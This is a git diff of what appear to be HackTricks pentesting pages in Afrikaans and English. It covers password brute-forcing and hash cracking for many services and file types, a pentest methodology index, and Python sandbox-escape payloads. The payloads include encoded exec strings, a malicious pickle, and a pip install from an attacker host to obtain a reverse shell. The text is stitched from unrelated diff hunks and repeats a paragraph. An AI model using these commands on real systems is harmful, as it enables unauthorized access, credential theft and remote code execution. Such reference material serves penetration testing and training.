nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
|
||||
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
|
||||
```
|
||||
|
||||
### SSH
|
||||
|
||||
#### Brute Force
|
||||
|
||||
Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method is commonly used to gain unauthorized access to a system. Attackers use automated tools to systematically check all possible passwords until the correct one is discovered.
|
||||
Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method is commonly used to gain unauthorized access to a system. Attackers use automated tools to systematically check all possible passwords until the correct one is discovered.
|
||||
|
||||
#### Prevention
|
||||
|
||||
|
@ -555,6 +643,7 @@ To prevent brute force attacks on SSH, you can implement the following measures:
|
|||
5. **Monitor Logs**: Regularly monitor SSH logs for any unusual login patterns.
|
||||
|
||||
By implementing these prevention measures, you can significantly reduce the risk of a successful brute force attack on your SSH server.
|
||||
|
||||
```bash
|
||||
hydra -l root -P passwords.txt [-t 32] <IP> ssh
|
||||
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
|
||||
|
@ -564,6 +653,7 @@ legba ssh --username admin --password wordlists/passwords.txt --target localhost
|
|||
# Try keys from a folder
|
||||
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
|
||||
```
|
||||
|
||||
#### Swakke SSH-sleutels / Debian voorspelbare PRNG
|
||||
|
||||
Sommige stelsels het bekende foute in die lukraak saad wat gebruik word om kriptografiese materiaal te genereer. Dit kan lei tot 'n dramaties verminderde sleutelruimte wat met gereedskap soos [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute) gekraak kan word. Vooraf gegenereerde stelle swak sleutels is ook beskikbaar soos [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
|
||||
|
@ -571,12 +661,15 @@ Sommige stelsels het bekende foute in die lukraak saad wat gebruik word om kript
|
|||
### STOMP (ActiveMQ, RabbitMQ, HornetQ en OpenMQ)
|
||||
|
||||
Die STOMP-teksprotokol is 'n wyd gebruikte boodskapprotokol wat **naadlose kommunikasie en interaksie met gewilde boodskie-opeenhopingsdiens** soos RabbitMQ, ActiveMQ, HornetQ en OpenMQ moontlik maak. Dit bied 'n gestandaardiseerde en doeltreffende benadering om boodskappe uit te ruil en verskeie boodskapbedrywighede uit te voer.
|
||||
|
||||
```bash
|
||||
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
|
||||
```
|
||||
|
||||
### Telnet
|
||||
|
||||
Telnet is 'n netwerkprotokol wat gebruik word om 'n verbindingsessie met 'n ander rekenaar te skep. Dit kan gebruik word vir die uitvoering van brute force-aanvalle deur verskeie aanmeldingskombinasies te probeer totdat die regte een gevind word.
|
||||
|
||||
```bash
|
||||
hydra -l root -P passwords.txt [-t 32] <IP> telnet
|
||||
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
|
||||
|
@ -591,11 +684,13 @@ legba telnet \
|
|||
--telnet-prompt ":~$ " \
|
||||
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin
|
||||
```
|
||||
|
||||
### VNC
|
||||
|
||||
#### Brute Force
|
||||
|
||||
Brute force attacks involve trying all possible combinations of usernames and passwords until the correct one is found. This method is commonly used to gain unauthorized access to VNC servers. Attackers can use automated tools to systematically try different combinations at a rapid pace. It is essential to use strong, unique passwords and implement account lockout policies to mitigate the risk of a successful brute force attack.
|
||||
|
||||
```bash
|
||||
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
|
||||
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
|
||||
|
@ -610,10 +705,13 @@ use auxiliary/scanner/vnc/vnc_login
|
|||
set RHOSTS <ip>
|
||||
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
|
||||
```
|
||||
|
||||
### Winrm
|
||||
|
||||
```bash
|
||||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
```
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
|
@ -641,6 +739,7 @@ Kry Vandaag Toegang:
|
|||
Kyk hierna voordat jy probeer om 'n Hash met geweld te ontsyfer.
|
||||
|
||||
### ZIP
|
||||
|
||||
```bash
|
||||
#sudo apt-get install fcrackzip
|
||||
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
|
||||
|
@ -656,10 +755,12 @@ john zip.john
|
|||
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
|
||||
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
|
||||
```
|
||||
|
||||
#### Bekende teks zip-aanval
|
||||
|
||||
Jy moet die **teks** (of 'n deel van die teks) **van 'n lêer wat binne-in** die versleutelde zip lê, ken. Jy kan die **lêernaam en -grootte van lêers wat binne-in** 'n versleutelde zip lê, nagaan deur: **`7z l encrypted.zip`** uit te voer.\
|
||||
Laai [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) af van die vrystellingsbladsy.
|
||||
|
||||
```bash
|
||||
# You need to create a zip file containing only the file that is inside the encrypted zip
|
||||
zip plaintext.zip plaintext.file
|
||||
|
@ -671,9 +772,11 @@ zip plaintext.zip plaintext.file
|
|||
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
|
||||
unzip unlocked.zip #User new_pwd as password
|
||||
```
|
||||
|
||||
### 7z
|
||||
|
||||
Brute-forcing a password-protected 7z file can be done using tools like `7z2john.pl` and `john`. The `7z2john.pl` script extracts the hash from the 7z file, which can then be cracked using `john` with a wordlist or incremental mode.
|
||||
|
||||
```bash
|
||||
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
|
||||
```
|
||||
|
@ -684,9 +787,11 @@ wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo
|
|||
apt-get install libcompress-raw-lzma-perl
|
||||
./7z2john.pl file.7z > 7zhash.john
|
||||
```
|
||||
|
||||
### PDF
|
||||
|
||||
Brute-force attacks are commonly used to crack passwords from PDF files. Tools like `pdfcrack` and `hashcat` can be used to perform brute-force attacks on PDF files. These tools work by trying all possible combinations of characters until the correct password is found. It is important to note that brute-force attacks can be time-consuming, especially for complex passwords.
|
||||
|
||||
```bash
|
||||
apt-get install pdfcrack
|
||||
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
|
||||
|
@ -695,11 +800,13 @@ pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
|
|||
sudo apt-get install qpdf
|
||||
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
|
||||
```
|
||||
|
||||
### PDF Eienaar Wagwoord
|
||||
|
||||
Om 'n PDF Eienaar wagwoord te kraak, kyk hier: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
|
||||
|
||||
### JWT
|
||||
|
||||
```bash
|
||||
git clone https://github.com/Sjord/jwtcrack.git
|
||||
cd jwtcrack
|
||||
|
@ -711,17 +818,21 @@ python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h
|
|||
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
|
||||
john jwt.john #It does not work with Kali-John
|
||||
```
|
||||
|
||||
### NTLM kraak
|
||||
|
||||
```bash
|
||||
Format:USUARIO:ID:HASH_LM:HASH_NT:::
|
||||
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
|
||||
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
|
||||
```
|
||||
|
||||
### Keepass
|
||||
|
||||
#### Brute Force
|
||||
|
||||
Brute force attacks involve trying all possible combinations of a password until the correct one is found. This method is time-consuming but can be effective, especially if the password is weak. Keepass has a feature to protect against brute force attacks by locking the database after a certain number of failed login attempts.
|
||||
|
||||
```bash
|
||||
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
|
||||
keepass2john file.kdbx > hash #The keepass is only using password
|
||||
|
@ -729,24 +840,30 @@ keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a f
|
|||
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
|
||||
john --wordlist=/usr/share/wordlists/rockyou.txt hash
|
||||
```
|
||||
|
||||
### Keberoasting
|
||||
|
||||
```bash
|
||||
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
|
||||
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
|
||||
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
|
||||
```
|
||||
|
||||
### Lucks beeld
|
||||
|
||||
#### Metode 1
|
||||
|
||||
Installeer: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks)
|
||||
|
||||
```bash
|
||||
bruteforce-luks -f ./list.txt ./backup.img
|
||||
cryptsetup luksOpen backup.img mylucksopen
|
||||
ls /dev/mapper/ #You should find here the image mylucksopen
|
||||
mount /dev/mapper/mylucksopen /mnt
|
||||
```
|
||||
|
||||
#### Metode 2
|
||||
|
||||
```bash
|
||||
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
|
||||
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
|
||||
|
@ -755,19 +872,24 @@ cryptsetup luksOpen backup.img mylucksopen
|
|||
ls /dev/mapper/ #You should find here the image mylucksopen
|
||||
mount /dev/mapper/mylucksopen /mnt
|
||||
```
|
||||
|
||||
### Mysql
|
||||
|
||||
'n Ander Luks BF-handleiding: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1](http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1)
|
||||
|
||||
```bash
|
||||
#John hash format
|
||||
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
|
||||
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
|
||||
```
|
||||
|
||||
### PGP/GPG Privaatsleutel
|
||||
|
||||
```bash
|
||||
gpg2john private_pgp.key #This will generate the hash and save it in a file
|
||||
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
|
||||
```
|
||||
|
||||
### Cisco
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (239).png" alt=""><figcaption></figcaption></figure>
|
||||
|
@ -782,6 +904,7 @@ As jy 'n xlsx-lêer het met 'n kolom wat deur 'n wagwoord beskerm word, kan jy d
|
|||
|
||||
* **Laai dit op na Google Drive** en die wagwoord sal outomaties verwyder word
|
||||
* Om dit **handmatig te verwyder**:
|
||||
|
||||
```bash
|
||||
unzip file.xlsx
|
||||
grep -R "sheetProtection" ./*
|
||||
|
@ -790,13 +913,16 @@ hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UV
|
|||
# Remove that line and rezip the file
|
||||
zip -r file.xls .
|
||||
```
|
||||
|
||||
### PFX Sertifikate
|
||||
|
||||
```bash
|
||||
# From https://github.com/Ridter/p12tool
|
||||
./p12tool crack -c staff.pfx -f /usr/share/wordlists/rockyou.txt
|
||||
# From https://github.com/crackpkcs12/crackpkcs12
|
||||
crackpkcs12 -d /usr/share/wordlists/rockyou.txt ./cert.pfx
|
||||
```
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
|
@ -810,10 +936,12 @@ Kry Vandaag Toegang:
|
|||
**Hash-voorbeelde:** [https://openwall.info/wiki/john/sample-hashes](https://openwall.info/wiki/john/sample-hashes)
|
||||
|
||||
### Hash-identifiseerder
|
||||
|
||||
```bash
|
||||
hash-identifier
|
||||
> <HASH>
|
||||
```
|
||||
|
||||
### Woordlyste
|
||||
|
||||
* **Rockyou**
|
||||
|
@ -824,16 +952,20 @@ hash-identifier
|
|||
### **Woordlystegenereringstools**
|
||||
|
||||
* [**kwprocessor**](https://github.com/hashcat/kwprocessor)**:** Gevorderde sleutelbord-stap-generator met aanpasbare basis karakters, toetskaart en roetes.
|
||||
|
||||
```bash
|
||||
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
|
||||
```
|
||||
|
||||
### John mutasie
|
||||
|
||||
Lees _**/etc/john/john.conf**_ en konfigureer dit
|
||||
|
||||
```bash
|
||||
john --wordlist=words.txt --rules --stdout > w_mutated.txt
|
||||
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
|
||||
```
|
||||
|
||||
### Hashcat
|
||||
|
||||
#### Hashcat aanvalle
|
||||
|
@ -841,13 +973,16 @@ john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
|
|||
* **Woordelys aanval** (`-a 0`) met reëls
|
||||
|
||||
**Hashcat** kom reeds met 'n **gids wat reëls bevat**, maar jy kan [**ander interessante reëls hier vind**](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules).
|
||||
|
||||
```
|
||||
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
|
||||
```
|
||||
|
||||
* **Woordelys kombinasie** aanval
|
||||
|
||||
Dit is moontlik om **2 woordelyste in 1 te kombineer** met hashcat.\
|
||||
As lys 1 die woord **"hallo"** bevat en die tweede 2 lyne met die woorde **"wêreld"** en **"aarde"** bevat. Die woorde `helloworld` en `halloaarde` sal gegenereer word.
|
||||
|
||||
```bash
|
||||
# This will combine 2 wordlists
|
||||
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
|
||||
|
@ -858,7 +993,9 @@ hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
|
|||
## hello-earth!
|
||||
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
|
||||
```
|
||||
|
||||
* **Mask aanval** (`-a 3`)
|
||||
|
||||
```bash
|
||||
# Mask attack with simple mask
|
||||
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d
|
||||
|
@ -890,7 +1027,9 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
|
|||
## Use it to crack the password
|
||||
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
|
||||
```
|
||||
|
||||
* Woordelys + Masker (`-a 6`) / Masker + Woordelys (`-a 7`) aanval
|
||||
|
||||
```bash
|
||||
# Mask numbers will be appended to each word in the wordlist
|
||||
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
|
||||
|
@ -898,10 +1037,13 @@ hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
|
|||
# Mask numbers will be prepended to each word in the wordlist
|
||||
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
|
||||
```
|
||||
|
||||
#### Hashcat metodes
|
||||
|
||||
```bash
|
||||
hashcat --example-hashes | grep -B1 -A2 "NTLM"
|
||||
```
|
||||
|
||||
### Brute Force
|
||||
|
||||
#### Brute Forcing Linux Hashes
|
||||
|
@ -918,12 +1060,14 @@ Brute forcing Linux hashes involves attempting all possible combinations of char
|
|||
#### Mitigating Brute Force Attacks
|
||||
|
||||
To protect against brute force attacks on Linux systems, it is essential to use strong, complex passwords and implement account lockout policies. Additionally, using multi-factor authentication can add an extra layer of security to prevent unauthorized access.
|
||||
|
||||
```
|
||||
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
|
||||
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
|
||||
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
|
||||
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
|
||||
```
|
||||
|
||||
### Brute-Force
|
||||
|
||||
Brute-force attacks involve systematically checking all possible keys or passwords until the correct one is found. This method is commonly used to crack Windows hashes.
|
||||
|
@ -932,9 +1076,9 @@ Brute-force attacks involve systematically checking all possible keys or passwor
|
|||
|
||||
There are several tools available for performing brute-force attacks on Windows hashes, including:
|
||||
|
||||
- **John the Ripper**: A popular password-cracking tool that can be used for Windows hashes.
|
||||
- **Hashcat**: Another powerful tool for cracking passwords, including Windows hashes.
|
||||
- **Hydra**: A versatile password-cracking tool that supports multiple protocols, including Windows authentication.
|
||||
* **John the Ripper**: A popular password-cracking tool that can be used for Windows hashes.
|
||||
* **Hashcat**: Another powerful tool for cracking passwords, including Windows hashes.
|
||||
* **Hydra**: A versatile password-cracking tool that supports multiple protocols, including Windows authentication.
|
||||
|
||||
#### Methodology
|
||||
|
||||
|
@ -945,13 +1089,16 @@ There are several tools available for performing brute-force attacks on Windows
|
|||
5. Once the correct key or password is found, use it to gain access to the Windows system.
|
||||
|
||||
By following this methodology, you can effectively crack Windows hashes using brute-force attacks.
|
||||
|
||||
```
|
||||
3000 | LM | Operating-Systems
|
||||
1000 | NTLM | Operating-Systems
|
||||
```
|
||||
|
||||
### Brute Force
|
||||
|
||||
Brute force is a common method used to crack hashes. It involves trying all possible combinations of characters until the correct one is found. This method is time-consuming but can be effective, especially for simpler hashes. Specialized tools like John the Ripper and Hashcat can be used to automate the brute force process.
|
||||
|
||||
```
|
||||
900 | MD4 | Raw Hash
|
||||
0 | MD5 | Raw Hash
|
||||
|
@ -961,6 +1108,7 @@ Brute force is a common method used to crack hashes. It involves trying all poss
|
|||
1400 | SHA-256 | Raw Hash
|
||||
1700 | SHA-512 | Raw Hash
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Pentesting Metodologie
|
||||
# Pentesting Methodology
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -28,7 +28,7 @@ _Hacktricks-logos ontwerp deur_ [_@ppiernacho_](https://www.instagram.com/ppiera
|
|||
|
||||
### 0- Fisiese Aanvalle
|
||||
|
||||
Het jy **fisiese toegang** tot die masjien wat jy wil aanval? Jy moet 'n paar [**truuks oor fisiese aanvalle**](../physical-attacks/physical-attacks.md) lees en ander oor [**ontsnapping uit GUI-toepassings**](../physical-attacks/escaping-from-gui-applications/).
|
||||
Het jy **fisiese toegang** tot die masjien wat jy wil aanval? Jy moet 'n paar [**truuks oor fisiese aanvalle**](../hardware-physical-access/physical-attacks.md) lees en ander oor [**ontsnapping uit GUI-toepassings**](../hardware-physical-access/escaping-from-gui-applications.md).
|
||||
|
||||
### 1 - [Ontdekking van gasheer binne die netwerk](pentesting-network/#discovering-hosts)/ [Ontdekking van bates van die maatskappy](external-recon-methodology/)
|
||||
|
||||
|
@ -84,13 +84,14 @@ Veral in Windows mag jy dalk hulp nodig hê om **antivirusprogramme te vermy**:
|
|||
|
||||
As jy probleme het met die skaal, kan jy hier 'n klein **samestelling van die mees nuttige bevele** vir pentesters vind:
|
||||
|
||||
* [**Linux**](../linux-hardening/useful-linux-commands/)
|
||||
* [**Linux**](../linux-hardening/useful-linux-commands.md)
|
||||
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
|
||||
* [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
|
||||
|
||||
### **9 -** [**Uitvoer**](exfiltration.md)
|
||||
|
||||
Jy sal waarskynlik nodig hê om **sekere data uit die slagoffer te onttrek** of selfs **iets in te voer** (soos voorregskaleringsskripte). **Hier het jy 'n** [**pos oor algemene gereedskap wat jy kan gebruik vir hierdie doeleindes**](exfiltration.md)**.**
|
||||
|
||||
### **10- Voorregverhoging**
|
||||
|
||||
#### **10.1- Plaaslike Voorregverhoging**
|
||||
|
@ -99,9 +100,9 @@ As jy **nie root/Administrator** binne die boks is nie, moet jy 'n manier vind o
|
|||
Hier kan jy 'n **gids vind om voorregte plaaslik te verhoog in** [**Linux**](../linux-hardening/privilege-escalation/) **en in** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
||||
Jy moet ook hierdie bladsye oor hoe **Windows werk** nagaan:
|
||||
|
||||
* [**Verifikasie, Gelde, Token voorregte en UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
|
||||
* [**Verifikasie, Gelde, Token voorregte en UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
||||
* Hoe werk [**NTLM**](../windows-hardening/ntlm/)?
|
||||
* Hoe om gelde te [**steel**](broken-reference/) in Windows
|
||||
* Hoe om gelde te [**steel**](https://github.com/carlospolop/hacktricks/blob/af/generic-methodologies-and-resources/broken-reference/README.md) in Windows
|
||||
* 'n Paar truuks oor [_**Aktiewe Gids**_](../windows-hardening/active-directory-methodology/)
|
||||
|
||||
**Moenie vergeet om die beste gereedskap om Windows en Linux plaaslike Voorregverhogingsroetes op te som:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
@ -115,12 +116,12 @@ Hier kan jy 'n [**metodologie vind wat die mees algemene aksies verduidelik om t
|
|||
#### **11**.1 - Plundering
|
||||
|
||||
Kyk of jy meer **gelde** binne die gasheer kan vind of as jy **toegang het tot ander rekenaars** met die **voorregte** van jou **gebruiker**.\
|
||||
Vind hier verskillende maniere om [**gelde in Windows te dump**](broken-reference/).
|
||||
Vind hier verskillende maniere om [**gelde in Windows te dump**](https://github.com/carlospolop/hacktricks/blob/af/generic-methodologies-and-resources/broken-reference/README.md).
|
||||
|
||||
#### 11.2 - Volharding
|
||||
|
||||
**Gebruik 2 of 3 verskillende tipes volhardingsmeganismes sodat jy nie weer die stelsel hoef te benut nie.**\
|
||||
**Hier kan jy 'n paar** [**volhardingstruuks op aktiewe gids**](../windows-hardening/active-directory-methodology/#persistence)** vind.**
|
||||
**Hier kan jy 'n paar** [**volhardingstruuks op aktiewe gids**](../windows-hardening/active-directory-methodology/#persistence)\*\* vind.\*\*
|
||||
|
||||
TODO: Voltooi volharding Post in Windows & Linux
|
||||
|
||||
|
@ -137,17 +138,17 @@ Kyk ook na die bladsy oor [**NTLM**](../windows-hardening/ntlm/), dit kan baie n
|
|||
|
||||
#### **Uitbuiting**
|
||||
|
||||
* [**Basiese Linux-uitbuiting**](../exploiting/linux-exploiting-basic-esp/)
|
||||
* [**Basiese Windows-uitbuiting**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [**Basiese uitbuitingsgereedskap**](../exploiting/tools/)
|
||||
* [**Basiese Linux-uitbuiting**](../reversing-and-exploiting/linux-exploiting-basic-esp/)
|
||||
* [**Basiese Windows-uitbuiting**](../reversing-and-exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [**Basiese uitbuitingsgereedskap**](../reversing-and-exploiting/tools/)
|
||||
|
||||
#### [**Basiese Python**](python/)
|
||||
|
||||
#### **Kriptotruike**
|
||||
|
||||
* [**ECB**](../cryptography/electronic-code-book-ecb.md)
|
||||
* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Padding-orakel**](../cryptography/padding-oracle-priv.md)
|
||||
* [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md)
|
||||
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Padding-orakel**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
|
@ -16,7 +16,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -27,6 +27,7 @@ Hierdie is 'n paar truuks om Python sandboksbeskermings te omseil en arbitrêre
|
|||
## Beveluitvoeringsbiblioteke
|
||||
|
||||
Die eerste ding wat jy moet weet, is of jy direk kode kan uitvoer met 'n reeds ingevoerde biblioteek, of as jy enige van hierdie biblioteke kan invoer:
|
||||
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
|
@ -59,6 +60,7 @@ open('/var/www/html/input', 'w').write('123')
|
|||
execfile('/usr/lib/python2.7/os.py')
|
||||
system('ls')
|
||||
```
|
||||
|
||||
Onthou dat die _**open**_ en _**read**_ funksies nuttig kan wees om lêers binne die Python sandboks te lees en om kode te skryf wat jy kan uitvoer om die sandboks te omseil.
|
||||
|
||||
{% hint style="danger" %}
|
||||
|
@ -76,6 +78,7 @@ Python probeer om biblioteke **van die huidige gids eerste te laai** (die volgen
|
|||
Jy kan 'n **lys van vooraf geïnstalleerde** pakkette hier vind: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Let daarop dat jy vanuit 'n pickle die Python-omgewing **willekeurige biblioteke kan invoer** wat op die stelsel geïnstalleer is.\
|
||||
Byvoorbeeld, die volgende pickle, wanneer dit gelaai word, gaan die pip-bibliotheek invoer om dit te gebruik:
|
||||
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
#however, the victim doesn't even need to have the library installed to execute it
|
||||
|
@ -88,6 +91,7 @@ return (pip.main,(["list"],))
|
|||
|
||||
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
|
||||
```
|
||||
|
||||
Vir meer inligting oor hoe pickle werk, kyk hier: [https://checkoway.net/musings/pickle/](https://checkoway.net/musings/pickle/)
|
||||
|
||||
### Pip-pakket
|
||||
|
@ -95,10 +99,12 @@ Vir meer inligting oor hoe pickle werk, kyk hier: [https://checkoway.net/musings
|
|||
Truuk gedeel deur **@isHaacK**
|
||||
|
||||
As jy toegang het tot `pip` of `pip.main()`, kan jy 'n willekeurige pakket installeer en 'n omgekeerde skaal verkry deur te roep:
|
||||
|
||||
```bash
|
||||
pip install http://attacker.com/Rerverse.tar.gz
|
||||
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
|
||||
```
|
||||
|
||||
Jy kan die pakket aflaai om die omgekeerde dop hier te skep. Let asseblief daarop dat voordat jy dit gebruik, moet jy **dit dekomprimeer, die `setup.py` verander, en jou IP vir die omgekeerde dop plaas**:
|
||||
|
||||
{% file src="../../../.gitbook/assets/reverse.tar.gz" %}
|
||||
|
@ -114,6 +120,7 @@ Let daarop dat exec meerdere lynstrings en ";", maar eval nie toelaat nie (kontr
|
|||
{% endhint %}
|
||||
|
||||
As sekere karakters verbode is, kan jy die **hex/oktaal/B64**-voorstelling gebruik om die beperking te **omseil**:
|
||||
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
|
@ -134,7 +141,9 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
|
|||
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
|
||||
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
|
||||
```
|
||||
|
||||
### Ander biblioteke wat dit moontlik maak om Python-kode te evalueer
|
||||
|
||||
```python
|
||||
#Pandas
|
||||
import pandas as pd
|
||||
|
@ -148,7 +157,9 @@ df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
|
|||
# Like:
|
||||
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
|
||||
```
|
||||
|
||||
## Operateurs en kort truuks
|
||||
|
||||
```python
|
||||
# walrus operator allows generating variable inside a list
|
||||
## everything will be executed in order
|
||||
|
@ -157,9 +168,11 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
|
|||
